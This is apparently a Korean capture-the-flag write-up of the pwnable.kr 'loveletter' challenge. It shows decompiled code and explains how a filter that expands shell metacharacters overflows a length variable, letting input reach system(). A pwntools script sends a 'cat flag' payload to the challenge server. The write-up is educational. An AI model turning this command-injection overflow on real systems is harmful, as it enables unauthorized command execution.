Pwnstar

Pwnable.kr loveletter 본문

Pwnable.kr/Rookiss

Pwnable.kr loveletter

포너블처돌이 2020. 7. 30. 13:15

 

후....rookiss에서 crypto1을 빼고 다 풀었는데, 그 중 마지막 문제이다.

 

crypto1은 나중에 풀어야지....

 

처음에는 좀 헤맸는데 그래도 금방 감을 잡은 축에 속하는 문제이다ㅋㅋ;

 

mitigation

 

카나리와 nxbit만 걸려있다.

 

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[256]; // [esp+10h] [ebp-114h]
  size_t v5; // [esp+110h] [ebp-14h]
  size_t v6; // [esp+114h] [ebp-10h]
  size_t v7; // [esp+118h] [ebp-Ch]
  unsigned int v8; // [esp+11Ch] [ebp-8h]

  v8 = __readgsdword(20u);
  memset(loveletter, 0, 256u);
  v6 = strlen(epilog);
  v5 = strlen(prolog);
  printf(&format);
  fgets(s, 256, stdin);
  if ( s[strlen(s) - 1] == 10 )
    s[strlen(s) - 1] = 0;
  puts(&::s);
  protect(s);
  v7 = strlen(s);
  puts(&byte_8048A50);
  memcpy((void *)((unsigned __int16)idx + 134520992), prolog, v5);
  idx += v5;
  memcpy((void *)((unsigned __int16)idx + 134520992), s, v7);
  idx += v7;
  memcpy((void *)((unsigned __int16)idx + 134520992), epilog, v6);
  idx += v6;
  puts(&byte_8048A74);
  return system(loveletter);
}

 

s 변수에 256바이트만큼 fgets로 입력을 받기 때문에 bof가 불가능할 것처럼 보인다.

 

암튼 이후에 입력받은 값을 protect 함수로 보내는데,

 

unsigned int __cdecl protect(const char *a1)
{
  size_t v1; // ebx
  size_t v2; // eax
  size_t i; // [esp+1Ch] [ebp-12Ch]
  size_t j; // [esp+20h] [ebp-128h]
  char v6[4]; // [esp+25h] [ebp-123h]
  char dest; // [esp+3Ch] [ebp-10Ch]
  unsigned int v8; // [esp+13Ch] [ebp-Ch]

  v8 = __readgsdword(0x14u);
  strcpy(v6, "#&;`'\"|*?~<>^()[]{}$\\,");
  for ( i = 0; i < strlen(a1); ++i )
  {
    for ( j = 0; j < strlen(v6); ++j )
    {
      if ( a1[i] == v6[j] )
      {
        strcpy(&dest, &a1[i + 1]);
        *(_DWORD *)&a1[i] = 0xA599E2;
        v1 = strlen(&dest);
        v2 = strlen(a1);
        memcpy((void *)&a1[v2], &dest, v1);
      }
    }
  }
  return __readgsdword(0x14u) ^ v8;
}

 

문자열에서 특수문자들을 검사하여 0xA599E2로 바꿔버린다. 이게 뭔지 모르겠어서 입력을 해보니

 

하트인갑다. 여기서 특수문자 1바이트가 3바이트로 늘어나기 때문에 이를 잘 이용하면 overflow가 일어날 것이다.

 

여기서 주의해야할 부분이

 

protect 함수의 내부 모습인데, DWORD이기 때문에 "0x00"(null byte)가 뒤에 붙게 된다.

 

이후 입력받은 문자열 앞 뒤로 prolog와 epilog를 붙여주는데, 이는 각각 "echo I love "와 " very much!"이다.

 

이후 return system(loveletter)를 통해 내가 입력한 값을 system 함수의 인자로 넣어 실행시켜 주는데, 여기는

"echo I love " + "내가 넣은 문자열" + " very much!"가 실행되는 부분이다.

 

그러면 이 부분을 감안해서 한번 overflow를 발생시켜보자.

 

 

"A"를 253바이트, 그리고 #을 붙여서 0x00A599E2까지 추가로 총 257바이트를 입력한 상황이다. 그런데 system() 함수의 인자로 prolog 부분인 echo ~ 부터가 아닌 입력으로 넣은 A가 들어가 있는 것을 볼 수 있다. 그러면 왜 이렇게 되는 지 한번 살펴보자.

 

 

prolog 부분을 loveletter 전역변수에 복사한 후의 모습이다. esp+0x110에 무슨 값이 담겨 있나 봤더니 

 

prolog 문자열의 길이 만큼인 0xc(12)가 담겨있다. 이 길이만큼의 뒤에 내가 입력한 문자열을 붙여넣기 위한 값을 esp+0x110에 넣는다. 그런데 내가 입력한 값은

 

esp + 0x10부터 담겨있으니, 만약 257바이트를 입력하면 이 0xc 값이 마지막에 들어가는 null byte로 덮이게 된다.

 

그러면 원래 loveletter + 0xc 부터 내가 입력한 값이 들어가야 하는데, loveletter의 첫 부분부터 덮이게 되는 것이다. 이것을 이용해서 입력의 첫 부분에 /bin//sh를 입력하고 dummy를 246바이트만큼 추가한 다음 #을 넣으면 쉘을 딸 수 있을 것이다.

 

근데 당연히 안됐다ㅋㅋㅋ /bin/sh 뒤에 null byte가 와야하는데 이 값이 오게 되면 입력 자체가 끊겨버리기 때문에 다른 값을 넣어보자.

 

cat flag + dummy(245) + #

 

dummy도 flag 문자열 바로 뒤에 붙을 테니 스페이스바(\x20)으로 넣어보자.

 

ex.py

from pwn import*

#context.terminal=['tmux', 'splitw', '-h']
#p = process("./loveletter")
p = remote("pwnable.kr", 9034)
script = '''
b*0x08048827
'''
#gdb.attach(p, script)

payload = "cat flag"
payload += " "*245
payload += "#"

#payload = "A"*256

p.sendline(payload)

p.interactive()

 

 

플래그가 떳다.

 

'Pwnable.kr > Rookiss' 카테고리의 다른 글

pwnable.kr crypto1  (1) 2020.09.15
Pwnable.kr note  (0) 2020.07.30
Pwnable.kr alloca  (0) 2020.07.29
Pwnable.kr rsa_calculator  (0) 2020.07.29
Pwnable.kr echo2  (0) 2020.07.28
Comments